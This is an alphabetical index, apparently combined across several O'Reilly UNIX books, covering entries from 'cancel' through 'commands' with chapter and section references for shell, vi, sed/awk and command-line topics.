UNIX in a Nutshell, Chapter 2, Reference: cancel
cancelling
background processes
Learning the UNIX Operating System, 6.3. Cancelling a Process
UNIX Power Tools, 38.17. Automatically Kill Background Processes on Logout in csh
(see also background processes/jobs)
commands (emacs) : UNIX in a Nutshell, 7.2.5. Stopping and Undoing Commands
print jobs : Learning the UNIX Operating System, 4.5.4.2. cancel and lprm
"canonicalized" input lines : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
capability lines in termcap or terminfo files : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
capitalization : (see case)
CAPS LOCK key
Learning the vi Editor, 2.5.1. Problem Checklist
UNIX Power Tools, 31.11. Typing in Uppercase Without CAPS LOCK
caret : (see ^)
carriage returns : (see newline characters)
case (capitalization)
Learning the Korn Shell, 5.3. case
Learning the Korn Shell, 6.1.1. shift
Learning the Korn Shell, 6.3. Arrays
Learning the Korn Shell, 7.2.2.1. Reading lines from files
Learning the Korn Shell, 9.2.3.1. Commands
case sensitivity
UNIX Power Tools, 1.15. Filenames
sed & awk, 3.1. That's an Expression
sed & awk, 9.2.4. Converting Case
(see also capitalization, converting)
character classes for : sed & awk, 3.2.4. Character Classes
IGNORECASE variable (gawk) : sed & awk, 11.2.3.8. Additional variables
ispell program and : UNIX Power Tools, 29.2. Check Spelling Interactively with ispell
search patterns : UNIX Power Tools, 27.16. Faking Case-Insensitive Searches
variable names : sed & awk, 7.6. Expressions
vi and ex editors and : UNIX Power Tools, 30.17. Capitalizing Every Word on a Line
converting
sed & awk, 5.7. Transform
sed & awk, 6.3.1. A Capital Transformation
sed & awk, 9.2. String Functions
sed & awk, 9.2.4. Converting Case
UNIX in a Nutshell, Chapter 2, Reference: dd
double-semicolons : Learning the Korn Shell, 5.4. select
emacs commands for : UNIX in a Nutshell, 7.2.7. Capitalization Commands
pathname in all uppercase : UNIX Power Tools, 52.5.3.4. Installing a Single Program
redirecting I/O to : Learning the Korn Shell, 7.2.2.2. I/O Redirection and multiple commands
syntax : Learning the Korn Shell, 5.3. case
uppercase without CAPS LOCK : UNIX Power Tools, 31.11. Typing in Uppercase Without CAPS LOCK
case statement
UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
UNIX Power Tools, 44.5. Test String Values with Bourne Shell case
UNIX Power Tools, 45.22. Handling Files Line-by-Line
UNIX in a Nutshell, Chapter 4, Reference: case
UNIX in a Nutshell, Chapter 5, Reference: case
advantages : UNIX Power Tools, 45.33. Testing Two Strings with One case Statement
egrep expressions built : UNIX Power Tools, 48.2. Online Phone and Address Lists
errors caused by : UNIX Power Tools, 46.1.4. Missing or Extra esac, ;;, fi, etc.
examples
UNIX Power Tools, 44.5. Test String Values with Bourne Shell case
UNIX Power Tools, 44.16. Handling Command-Line Arguments with a for Loop
UNIX Power Tools, 44.17. Handling Arguments with while and shift
UNIX Power Tools, 48.2. Online Phone and Address Lists
UNIX Power Tools, 51.3. ASCII Characters: Listing and Getting Values
handling command-line arguments : UNIX Power Tools, 44.17. Handling Arguments with while and shift
in while loops : UNIX Power Tools, 44.17. Handling Arguments with while and shift
pattern matching in : UNIX Power Tools, 44.6. Pattern Matching in case Statements
test command compared to : UNIX Power Tools, 45.33. Testing Two Strings with One case Statement
testing two strings using : UNIX Power Tools, 45.33. Testing Two Strings with One case Statement
cat command
Learning the Korn Shell, 1.7.1. Standard I/O
Learning the Korn Shell, 1.7.2. I/O Redirection
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 8.4.1. Traps and Functions
Learning the Korn Shell, 9.2.1.1. The driver script
Learning the UNIX Operating System, 3.2.1. cat
Learning the UNIX Operating System, 5.1.1. Putting Text in a File
UNIX Power Tools, 1.2. Who Listens to What You Type?
UNIX Power Tools, 13.2. One Argument with a cat Isn't Enough
UNIX Power Tools, 25.2. Four Ways to Skin a cat
UNIX Power Tools, 25.5. Page Through Compressed, RCS, Unprintable Files
UNIX in a Nutshell, Chapter 2, Reference: cat
backslash character and : UNIX Power Tools, 8.6.1. Portability
combining files : UNIX Power Tools, 8.4. Command Evaluation and Accidentally Overwriting Files
-e option
UNIX Power Tools, 16.13. Can't Access a File? Look for Spaces in the Name
UNIX Power Tools, 25.6. What's in That White Space?
examples
UNIX Power Tools, 44.9. Testing Your Success
UNIX Power Tools, 44.10.1. Looping Until a Command Succeeds
for loops combined with : UNIX Power Tools, 45.16. Standard Input to a for Loop
-n option : UNIX Power Tools, 25.21. Numbering Lines
-s option : UNIX Power Tools, 25.11. crush: A cat that Skips all Blank Lines
starting pipelines : UNIX Power Tools, 1.4. Using Pipes to Create a New Tool
-t option : UNIX Power Tools, 25.6. What's in That White Space?
-v option
UNIX Power Tools, 25.6. What's in That White Space?
UNIX Power Tools, 25.7. Show Non-Printing Characters with cat -v or od -c
UNIX Power Tools, 41.12. Finding Out What Characters Your Terminal's Special Keys Send
catch command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: catch
catman program, egrep versus : UNIX Power Tools, 50.3. apropos on Systems Without apropos
catsaway script
UNIX Power Tools, 44.10.2. Looping Until a Command Fails
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
cb command : UNIX in a Nutshell, Chapter 2, Reference: cb
cbreak mode
UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
UNIX Power Tools, 41.7. Reading Verrrry Long Lines from the Terminal
cbw program : UNIX Power Tools, 22.17. Ways of Improving the Security of crypt
cc command : UNIX in a Nutshell, Chapter 2, Reference: cc
cd command
Learning the Korn Shell, 1.6.1.3. Changing working directories
Learning the Korn Shell, 7.3.1. Quoting
Learning the Korn Shell, 10.1. Installing the Korn Shell as the Standard Shell
Learning the Korn Shell, A.1. The Bourne Shell
Learning the UNIX Operating System, 3.1.6.2. cd
Learning the UNIX Operating System, 4.4.2.4. ftp
UNIX Power Tools, 3.4. Automatic File Cleanup
UNIX Power Tools, 7.6. Session Information in Your Terminal's Status Line
UNIX Power Tools, 14.9. cd by Directory Initials
UNIX Power Tools, 14.3. What Good Is a Current Directory?
UNIX in a Nutshell, Chapter 4, Reference: cd
UNIX in a Nutshell, Chapter 5, Reference: cd
UNIX in a Nutshell, Chapter 20, Reference: cd
(see also current directory)
- (to previous directory)
Learning the Korn Shell, 1.6.1.3. Changing working directories
Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
UNIX Power Tools, 14.6. The Shells' pushd and popd Commands
aliases for : UNIX Power Tools, 14.8. Quick cds with Aliases
cdpath variable and : UNIX Power Tools, 14.5. Saving Time When You Change Directories: cdpath
directory initials and : UNIX Power Tools, 14.9. cd by Directory Initials
examples : Learning the Korn Shell, 1.6.1.3. Changing working directories
inoperative in restricted shell : Learning the Korn Shell, 10.3.1. Restricted Shell
in subshells : UNIX Power Tools, 13.8. Using {list} to Group Bourne Shell Commands
substitution form : Learning the Korn Shell, 1.6.1.3. Changing working directories
CD-ROM
Learning the Korn Shell, 5.1.3.2. About C Compilers
UNIX Power Tools, 52.5.1. CD-ROM Formats
CD-ROM with this Unix Power Tools book : UNIX Power Tools, 52.1. Introduction
cdc command (SCCS) : UNIX in a Nutshell, Chapter 17, Reference: cdc
CDPATH variable
Learning the Korn Shell, 3.4.3. Directory Search Path
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 14.5. Saving Time When You Change Directories: cdpath
UNIX in a Nutshell, 4.3.3. Other Shell Variables
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
as array : UNIX Power Tools, 47.5. Using C Shell Arrays
:cdpath in csh : UNIX Power Tools, 14.5. Saving Time When You Change Directories: cdpath
center script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
centering : (see alignment/positioning)
cflow command : UNIX in a Nutshell, Chapter 2, Reference: cflow
cgrep script
UNIX Power Tools, 27.11. A Multiline Context grep Using sed
UNIX Power Tools, 27.13. More grep-like Programs Written in Perl
UNIX Power Tools, 34.17. Searching for Patterns Split Across Lines
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
cgrep.sed script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
change command (ex)
UNIX Power Tools, 33.4. Useful ex Commands
UNIX in a Nutshell, Chapter 9, Reference: change
change command (sed) : (see c command (sed))
change commands (vi)
character (r) : Learning the vi Editor, 2.3.3.3. Characters other
line (cc)
Learning the vi Editor, 2.3.3.2. Lines
Learning the vi Editor, 2.4. More Ways to Insert Text
text (c)
Learning the vi Editor, 1. The vi Text Editor
Learning the vi Editor, 2.3.3. Changing Text
Learning the vi Editor, 2.6. Review of Basic vi Commands
Learning the vi Editor, 4.1. More Command Combinations
text from cursor to end of line (C) : Learning the vi Editor, 2.3.3.2. Lines
word (cw)
Learning the vi Editor, 2.3.3. Changing Text
Learning the vi Editor, 2.3.3.1. Words
change times : UNIX Power Tools, 16.5. The Three UNIX File Times
chapter summary : Learning the Korn Shell, Chapter Summary
character classes : sed & awk, 3.2.4. Character Classes
character codes in termcap and terminfo databases : UNIX Power Tools, 41.11.1. Special Character Codes
character sets
UNIX Power Tools, 26.4. Using Metacharacters in Regular Expressions
UNIX Power Tools, 26.4.2. Matching a Character with a Character Set
UNIX in a Nutshell, Chapter 2, Reference: iconv
UNIX in a Nutshell, 21. ASCII Character Set
characters
counting
UNIX Power Tools, 29.6. Counting Lines, Words, and Characters: wc
UNIX in a Nutshell, Chapter 2, Reference: wc
deleting (vi) : (see vi commands)
grabbing/parsing : UNIX Power Tools, 45.30. Grabbing Parts of a String
Greek (Eqn preprocessor) : UNIX in a Nutshell, 16.2.4. Greek Characters
handling most : UNIX Power Tools, 41.2.2. Handling Most Characters
hiding special : sed & awk, 12.3.1. How to Hide a Special Character
matching at word start/end : sed & awk, 3.2.11. What's the Word? Part II
mathematical (Eqn preprocessor) : UNIX in a Nutshell, 16.2.2. Mathematical Characters
measured span of
sed & awk, 3.2. A Line-Up of Characters
sed & awk, 3.2.8. A Span of Characters
metacharacters : (see metacharacters)
newline : (see newline characters)
nonprintable : (see special characters)
nroff/troff requests for : UNIX in a Nutshell, 12.5.5. Font and Character Size
range of : (see character classes)
sending repeated to terminals : UNIX Power Tools, 42.7. termtest: Send Repeated Characters to Terminal
sent by special keys : UNIX Power Tools, 41.12. Finding Out What Characters Your Terminal's Special Keys Send
space : (see whitespace)
special : (see special characters)
stripping non-printable nroff : sed & awk, 5.6.1. Stripping Out Non-Printable Characters from nroff Files
testing
UNIX Power Tools, 45.29. Testing Characters in a String with expr
UNIX Power Tools, 45.33. Testing Two Strings with One case Statement
chattr command (Linux) : Learning the UNIX Operating System, 3.3.3. More Protection Under Linux
chdir command (csh) : UNIX in a Nutshell, Chapter 5, Reference: chdir
check command (SCCS) : UNIX Power Tools, 20.13. SCCS Basics
check pseudo-command (sccs) : UNIX in a Nutshell, 17.6.2. Pseudo-commands
checksed script
UNIX Power Tools, 34.3.1. checksed
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
checksum, calculating : UNIX in a Nutshell, Chapter 2, Reference: sum
chgrp command
UNIX Power Tools, 1.23. File Access Permissions
UNIX Power Tools, 22.5. Group Permissions in a Directory with the setgid Bit
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: chgrp
child processes
UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
UNIX Power Tools, 45.8. Handling Signals to Child Processes
(see also processes)
changes to environment of : UNIX Power Tools, 38.4. Subshells
file descriptors given to : UNIX Power Tools, 45.20. Overview: Open Files and File Descriptors
killing : UNIX Power Tools, 38.10. Destroying Processes with kill
relationship to parent : UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
child signal : UNIX Power Tools, 38.8. What Are Signals?
chkey command
UNIX in a Nutshell, Chapter 2, Reference: chkey
(see also keylogin command)
(see also keylogout command)
CHLD (child) signal : UNIX Power Tools, 38.8. What Are Signals?
chmod
Learning the Korn Shell, 4.1. Shell Scripts and Functions
Learning the Korn Shell, 10.2.1. umask
Learning the UNIX Operating System, 3.1.8.1. ls
Learning the UNIX Operating System, 3.3.1. Directory Access Permissions
UNIX Power Tools, 22.7. Using chmod to Change File Permission
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: chmod
= operator : UNIX Power Tools, 22.8. The Handy chmod = Operator
described : UNIX Power Tools, 44.2. Writing a Simple Shell Program
examples : UNIX Power Tools, 44.2. Writing a Simple Shell Program
-R option
UNIX Power Tools, 22.7. Using chmod to Change File Permission
UNIX Power Tools, 22.8. The Handy chmod = Operator
chmod_edit script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
chown command
UNIX Power Tools, 1.23. File Access Permissions
UNIX Power Tools, 22.21. How to Change File Ownership Without chown
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: chown
Christiansen, Tom : UNIX Power Tools, 13.2. One Argument with a cat Isn't Enough
on C shell disadvantages : UNIX Power Tools, 47.1. Why Not?
on directory stacks : UNIX Power Tools, 47.5. Using C Shell Arrays
chsh
Learning the Korn Shell, 1.4. Getting the Korn Shell
UNIX Power Tools, 2.16. Approved Shells: Using Unapproved Login Shell
chunksort script
UNIX Power Tools, 36.7. Sorting Multiline Entries
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
ci command (RCS)
UNIX Power Tools, 20.14. RCS Basics
UNIX in a Nutshell, 18.2. Basic Operation
UNIX in a Nutshell, Chapter 18, Reference: ci
circumflex (^) : (see ^)
classifying files by data type : UNIX in a Nutshell, Chapter 2, Reference: file
clean pseudo-command (sccs) : UNIX in a Nutshell, 17.6.2. Pseudo-commands
cleanup script
UNIX Power Tools, 3.4. Automatic File Cleanup
UNIX Power Tools, 23.22. Using find to Clear Out Unneeded Files
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
cleanup.sed script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
clear command
UNIX Power Tools, 3.1. Running Commands When You Log Out
UNIX Power Tools, 22.18. Clear Your Terminal for Security, to Stop Burn-in
UNIX Power Tools, 42.4. Checklist for Resetting a Messed Up Terminal
UNIX in a Nutshell, Chapter 2, Reference: clear
clear command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: clear
clear screen function in terminal setup menu : UNIX Power Tools, 42.4. Checklist for Resetting a Messed Up Terminal
clear script
UNIX Power Tools, 41.9. Commands to Adjust Your Terminal
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
clf script
UNIX Power Tools, 16.6. clf, cls: "Compressed" ls Listings
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
clf2 script
UNIX Power Tools, 16.6. clf, cls: "Compressed" ls Listings
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
clicking the mouse : Learning the UNIX Operating System, 2.4.2. Pointing, Clicking, and Dragging
clipboard, creating in terminal windows : UNIX Power Tools, 48.3. A Scratchpad on Your Screen
clobbering files : Learning the UNIX Operating System, 5.1.1.1. The > operator
clock in UNIX
UNIX Power Tools, 51.2. How UNIX Keeps Time
UNIX Power Tools, 51.10. The date Command
clock modes, setting : UNIX in a Nutshell, Chapter 2, Reference: stty
close command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: close
Close menu item (mwm) : Learning the UNIX Operating System, 2.5.4. The Window Menu
close()
sed & awk, 10.2. The close() Function
sed & awk, 10.5.2. Working with Multiple Files
closing
file descriptors : UNIX Power Tools, 47.2.1.3. Closing FDs
files/pipes
UNIX Power Tools, 45.21. n>&m: Swap Standard Output and Standard Error
sed & awk, 10.2. The close() Function
sed & awk, 10.5.2. Working with Multiple Files
closure : sed & awk, 3.2.5. Repeated Occurrences of a Character
clri command : UNIX Power Tools, 23.13. Deleting Files with the Null Name
ClrStatus script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
cls script
UNIX Power Tools, 16.6. clf, cls: "Compressed" ls Listings
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
cls2 script
UNIX Power Tools, 16.6. clf, cls: "Compressed" ls Listings
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
cmd field in crontab entries : UNIX Power Tools, 40.12.1. Execution Scheduling
cmp program
UNIX Power Tools, 28.11. cmp and diff
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: cmp
co command (RCS)
UNIX Power Tools, 20.14. RCS Basics
UNIX in a Nutshell, 18.2. Basic Operation
UNIX in a Nutshell, Chapter 18, Reference: co
code blocks
Learning the Korn Shell, 7.2.2.3. Code blocks
Learning the Korn Shell, 8.6.2. Nested Subshells
compared to nested subshells : Learning the Korn Shell, 8.6.2. Nested Subshells
piping outout to : Learning the Korn Shell, 7.2.2.3. Code blocks
POSIX shell syntax : Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
redirecting standard I/O to : Learning the Korn Shell, 7.2.2.3. Code blocks
cof2elf command : UNIX in a Nutshell, Chapter 2, Reference: cof2elf
COFF files, converting to ELF : UNIX in a Nutshell, Chapter 2, Reference: cof2elf
col command
UNIX Power Tools, 43.18. How nroff Makes Bold and Underline; How to Remove It
UNIX Power Tools, 50.3. apropos on Systems Without apropos
UNIX in a Nutshell, Chapter 2, Reference: col
colcrt command : UNIX Power Tools, 43.18. How nroff Makes Bold and Underline; How to Remove It
collating symbols : sed & awk, 3.2.4.3. POSIX character class additions
Collinson, Peter : UNIX Power Tools, 44.14. Putting awk, sed, etc., Inside Shell Scripts
colon : (see :)
colrm command
UNIX Power Tools, 35.15. Cutting Columns with colrm
UNIX Power Tools, 45.30.2. Using echo with awk, colrm, or cut
cols script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
COLUMNS variable
Learning the Korn Shell, 3.4.2.1. Editing mode variables
Learning the Korn Shell, 7.2.2.3. Code blocks
UNIX in a Nutshell, 4.3.3. Other Shell Variables
columns
formatting : UNIX Power Tools, 35.14. Cutting Columns or Fields with cut
merging file lines into : UNIX in a Nutshell, Chapter 2, Reference: paste
output as : sed & awk, 10.6. Generating Columnar Reports
selecting
UNIX Power Tools, 35.14. Cutting Columns or Fields with cut
UNIX Power Tools, 35.15. Cutting Columns with colrm
UNIX in a Nutshell, Chapter 2, Reference: cut
straightening : UNIX Power Tools, 35.22. Straightening Jagged Columns
totaling using addup : UNIX Power Tools, 49.7. Total a Column with addup
comb command (SCCS) : UNIX in a Nutshell, Chapter 17, Reference: comb
combination modes, setting : UNIX in a Nutshell, Chapter 2, Reference: stty
combine script (example) : sed & awk, 13.3. combine - Extract Multipart uuencoded Binaries
combining files : UNIX in a Nutshell, Chapter 2, Reference: cat
comm command
UNIX Power Tools, 2.14. motd.diff: Show New Lines in Login Messages
UNIX Power Tools, 16.23. Comparing Filenames in Two Directory Trees
UNIX Power Tools, 28.12. Comparing Two Files with comm
UNIX in a Nutshell, Chapter 2, Reference: comm
comma (,) in filenames : UNIX Power Tools, 1.15. Filenames
command characters : (see special characters)
command command : UNIX Power Tools, 8.11. Which One Will bash Use?
command directories : UNIX Power Tools, 6.1. What Environment Variables Are Good For
"command garbled" message
sed & awk, 2.3.1.1. Command garbled
sed & awk, 5.1. About the Syntax of sed Commands
command history
UNIX Power Tools, 11.1. The Lessons of History
UNIX Power Tools, 11.14. More Ways to Do Interactive History Editing
csh shell : UNIX in a Nutshell, 5.5. Command History csh shell
editing substitutions : UNIX Power Tools, 9.6. String Editing (Colon) Operators
history substitutions : UNIX Power Tools, 11.1. The Lessons of History
passing to other shells : UNIX Power Tools, 11.12. Pass History to Another Shell
sh and ksh shells : UNIX in a Nutshell, 4.5. Command History
command interpreters
UNIX Power Tools, 1.2. Who Listens to What You Type?
UNIX Power Tools, 44.3. What's a Shell, Anyway?
(see also shells)
command line : Learning the UNIX Operating System, 1.1.6. Entering a Command Line
advantages : UNIX Power Tools, 9.1. What's Special About the UNIX Command Line
changing path on : UNIX Power Tools, 8.7.2. Changing Path on the Command Line
correcting mistakes on : Learning the UNIX Operating System, 1.1.7. Correcting a Mistake
deleting on : UNIX Power Tools, 9.2. Fix a Line Faster with Line-Kill and Word-Erase
editing
UNIX Power Tools, 11.1. The Lessons of History
UNIX Power Tools, 11.13. Shell Command-Line Editing
filenames on : UNIX Power Tools, 13.13. The "Filename" -
processing
Learning the Korn Shell, 7.3. Command-line Processing
UNIX Power Tools, 1.2. Who Listens to What You Type?
UNIX Power Tools, 8.5. Command-Line Evaluation
UNIX Power Tools, 8.9. Wildcards Inside of Aliases
effect of eval on : Learning the Korn Shell, 7.3.2. eval
effect of quoting on : Learning the Korn Shell, 7.3.1. Quoting
example : Learning the Korn Shell, 7.3. Command-line Processing
inside condition tests : Learning the Korn Shell, 5.1.3. Condition Tests
order of steps in
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
Learning the Korn Shell, 7.3. Command-line Processing
reprinting : UNIX Power Tools, 9.3. Reprinting Your Command Line with CTRL-r
saving to file : UNIX Power Tools, 1.5. Anyone Can Program the Shell
as shell scripts : UNIX Power Tools, 44.2. Writing a Simple Shell Program
submitting for execution at a later time : UNIX Power Tools, 40.3. The at Command
syntax for
sed & awk, 2.2. Command-Line Syntax
sed & awk, B.1. Command-Line Syntax
too-long commands : UNIX Power Tools, 9.20. Too Many Files for the Command Line
command-line options
Learning the Korn Shell, 6.1. Command-line Options
Learning the Korn Shell, B.1. Invocation Options
Learning the UNIX Operating System, 1.2. Syntax of UNIX Command Lines
UNIX Power Tools, 8.6. Output Command-Line Arguments
UNIX Power Tools, 8.13. Is It "2>&1 file" or "> file 2>&1"? Why?
(see also arguments)
aliases for
UNIX Power Tools, 10.2.2. Using More Complex Aliases
UNIX Power Tools, 10.3. C Shell Aliases with Command-Line Arguments
array of : sed & awk, 8.6.1. An Array of Command-Line Parameters
in Bourne shell scripts : UNIX Power Tools, 44.15. Handling Command-Line Arguments in Shell Scripts
character limit : UNIX Power Tools, 50.12. Common UNIX Error Messages
counting : UNIX Power Tools, 44.15.2. With a Loop
finding last : UNIX Power Tools, 45.14. Finding the Last Command-Line Argument
for loops
UNIX Power Tools, 44.15.2. With a Loop
UNIX Power Tools, 44.16. Handling Command-Line Arguments with a for Loop
gawk : sed & awk, 11.2.3.1. Command line options
in Korn Shell scripts : UNIX Power Tools, 44.15. Handling Command-Line Arguments in Shell Scripts
listing using expr : UNIX Power Tools, 45.30.1. Matching with expr
parsing
UNIX Power Tools, 44.18. Standard Command-Line Parsing
UNIX Power Tools, 44.19. The Bourne Shell set Command
passing into script : sed & awk, 7.10. Passing Parameters Into a Script
quoting : UNIX Power Tools, 46.7. Quoting and Command-Line Parameters
removing : UNIX Power Tools, 44.15.2. With a Loop
saving original settings : UNIX Power Tools, 44.19. The Bourne Shell set Command
setting : UNIX Power Tools, 44.19. The Bourne Shell set Command
starting with - (minus) : UNIX Power Tools, 44.16. Handling Command-Line Arguments with a for Loop
unsetting : UNIX Power Tools, 45.15. How to Unset all Command-Line Parameters
command mode (vi)
Learning the vi Editor, 1. The vi Text Editor
Learning the vi Editor, 2.1. vi Commands
UNIX in a Nutshell, 8.1.2. Command Mode
"command not found" error message : UNIX Power Tools, 50.12. Common UNIX Error Messages
command prompt : (see shell prompt)
command runtimes, averages of : UNIX Power Tools, 39.4. Average Command Runtimes with runtime
command substitution
Learning the Korn Shell, 2.1. Enabling Command-line Editing
Learning the Korn Shell, 4.4. Command Substitution
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
UNIX in a Nutshell, 5.5.1. Command Substitution
examples : Learning the Korn Shell, 4.4. Command Substitution
I/O redirection within
Learning the Korn Shell, 4.4. Command Substitution
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
in for loops : UNIX Power Tools, 44.16. Handling Command-Line Arguments with a for Loop
nested : UNIX Power Tools, 45.31. Nested Command Substitution
order in command-line processing : Learning the Korn Shell, 7.3. Command-line Processing
shown in xtrace output : Learning the Korn Shell, 9.1.1. Set Options
syntax : Learning the Korn Shell, 4.4. Command Substitution
commands
Learning the UNIX Operating System, 3.2.2. more
UNIX Power Tools, 1.4. Using Pipes to Create a New Tool
sed & awk, 2.4.1. Running awk
(see also under specific command name)
aliases for
UNIX Power Tools, 8.8. A Directory for Commands You Shouldn't Run
UNIX in a Nutshell, Chapter 4, Reference: alias
UNIX in a Nutshell, Chapter 4, Reference: unalias
UNIX in a Nutshell, Chapter 5, Reference: alias
ampersand (&) character at the end of : UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
awk : (see awk scripting language)
background : (see background processes/jobs)
banner : UNIX Power Tools, 43.11. Big Letters: banner
basic, list of : UNIX in a Nutshell, 1.4. Beginner's Guide
Berkeley printing commands : UNIX Power Tools, 43.2.2. Berkeley Printing Commands
blocked processes : UNIX Power Tools, 39.12.3. The I/O Subsystem
built-in
UNIX Power Tools, 7.4. Faster Prompt Setting with Built-Ins
UNIX Power Tools, 8.11. Which One Will bash Use?
UNIX Power Tools, 38.2. fork and exec
UNIX Power Tools, 47.2.2.1. Built-Ins
in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
bundling : UNIX in a Nutshell, Chapter 2, Reference: xargs
cancelling execution of : Learning the UNIX Operating System, 6.3. Cancelling a Process
combining : UNIX Power Tools, 13.7.1. Combining Several Commands
command substitution : UNIX Power Tools, 9.16. Command Substitution
for csh shell : UNIX in a Nutshell, 5.6. Built-in C Shell Commands
custom : (see custom commands)
descriptions of, displaying : UNIX in a Nutshell, Chapter 2, Reference: whatis
displaying running : UNIX Power Tools, 39.6. lastcomm: What Commands Are Running and How Long Do They Take?
Emacs command completion : UNIX Power Tools, 32.6. Command Completion
emacs commands, list of : UNIX in a Nutshell, 7.2. Summary of Commands by Group
ex editor
UNIX Power Tools, 33.4. Useful ex Commands
(see also ex editor)
executing
expressions as : sed & awk, 10.3. The system() Function
after logout : UNIX in a Nutshell, Chapter 2, Reference: nohup
with multiple systems : UNIX in a Nutshell, Chapter 2, Reference: uux
wait between : UNIX in a Nutshell, Chapter 2, Reference: sleep
exit status : UNIX Power Tools, 44.7. Exit Status of UNIX Processes
finding : UNIX Power Tools, 16.10. findcmd: Find a Command in Your Search Path
for adjusting terminals : UNIX Power Tools, 41.9. Commands to Adjust Your Terminal
ftp : (see ftp program)
grouping
sed & awk, 4.2.1. Grouping Commands
sed & awk, 5.1. About the Syntax of sed Commands
history of : (see command history)
how to issue terminals : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
list of : Learning the Korn Shell, B.2. Built-in Commands and Keywords
in .logout file : UNIX Power Tools, 3.1. Running Commands When You Log Out
lower priority, executing : UNIX in a Nutshell, Chapter 2, Reference: nice
mail : Learning the UNIX Operating System, 3.4.2. Reading Your Mail
menu-based generator (example) : sed & awk, 10.4. A Menu-Based Command Generator
with more command : Learning the UNIX Operating System, 3.2.2. more
multiline : UNIX Power Tools, 9.13. Multiline Commands, Secondary Prompts
multiple
UNIX Power Tools, 45.19. A while Loop with Several Loop Control Commands
sed & awk, 2.4.1. Running awk
naming : UNIX Power Tools, 44.21. Picking a Name for a New Command
nroff/troff requests : UNIX in a Nutshell, 12.4. Default Operation of Requests
numeric returns : UNIX Power Tools, 44.7. Exit Status of UNIX Processes
order of : sed & awk, 4.1. Applying Commands in a Script
printed in parentheses in ps output : UNIX Power Tools, 38.7. Why ps Prints Some Commands in Parentheses
for printing (System V) : UNIX Power Tools, 43.2.1. System V Printing Commands
recalling : (see command history)
redefining with aliases : UNIX Power Tools, 10.2.3. Setting Aliases Automatically, Unsetting Aliases
redirecting output of
Learning the UNIX Operating System, 5.1. Standard Input and Standard Output
Learning the UNIX Operating System, 5.2. Pipes and Filters
reference for : Learning the UNIX Operating System, B.1. Commands and Their Meanings
repeating
UNIX Power Tools, 9.11. Repeating a Command with a foreach Loop
UNIX Power Tools, 11.8. Repeating a Cycle of Commands
UNIX Power Tools, 51.7. When You Get Impatient
resetting search table : UNIX Power Tools, 44.2. Writing a Simple Shell Program
RETURN key not used with : UNIX Power Tools, 45.32. A Better read Command: grabchars
running a series of : UNIX Power Tools, 11.9. Running a Series of Commands on a File
running at login : UNIX Power Tools, 2.2.2. C Shell
running by typing a single character : UNIX Power Tools, 42.4. Checklist for Resetting a Messed Up Terminal
running number of them and averaging : UNIX Power Tools, 39.4. Average Command Runtimes with runtime
running on compressed files : UNIX Power Tools, 24.10. zloop: Run a Command on Compressed Files
SCCS utility : (see SCCS utility)
sed : (see sed editor)
for sh and ksh shells
UNIX in a Nutshell, 4.2.4. Command Forms
UNIX in a Nutshell, 4.6. Built-in Commands (Bourne and Korn Shell)
UNIX in a Nutshell, 5.2.4. Command Forms
shell aliases for : Learning the UNIX Operating System, 7.2. Shell Aliases and Functions
shell interpretation of : UNIX Power Tools, 8.1. What the Shell Does
storing : UNIX Power Tools, 4.9. Setting Up vi with the .exrc File
syntax for
Learning the UNIX Operating System, 1.2. Syntax of UNIX Command Lines
sed & awk, A.2. Syntax of sed Commands
with temporarily different environment : UNIX Power Tools, 6.10. Running a Command with a Temporarily Different Environment
throwaway scripts for : UNIX Power Tools, 9.15. Throwaway Scripts for Complicated Commands
too long for command line : UNIX Power Tools, 9.20. Too Many Files for the Command Line
types of : Learning the UNIX Operating System, 1.3. Types of Commands
typing at the shell prompt : UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
versions : UNIX Power Tools, 44.1. Everyone Should Learn Some Shell Programming
vi : (see vi editor)
writing manual pages for
UNIX Power Tools, 50.10. Make Your Own Man Pages Without Learning troff
UNIX Power Tools, 50.11. Writing a Simple Man Page with the -man Macros
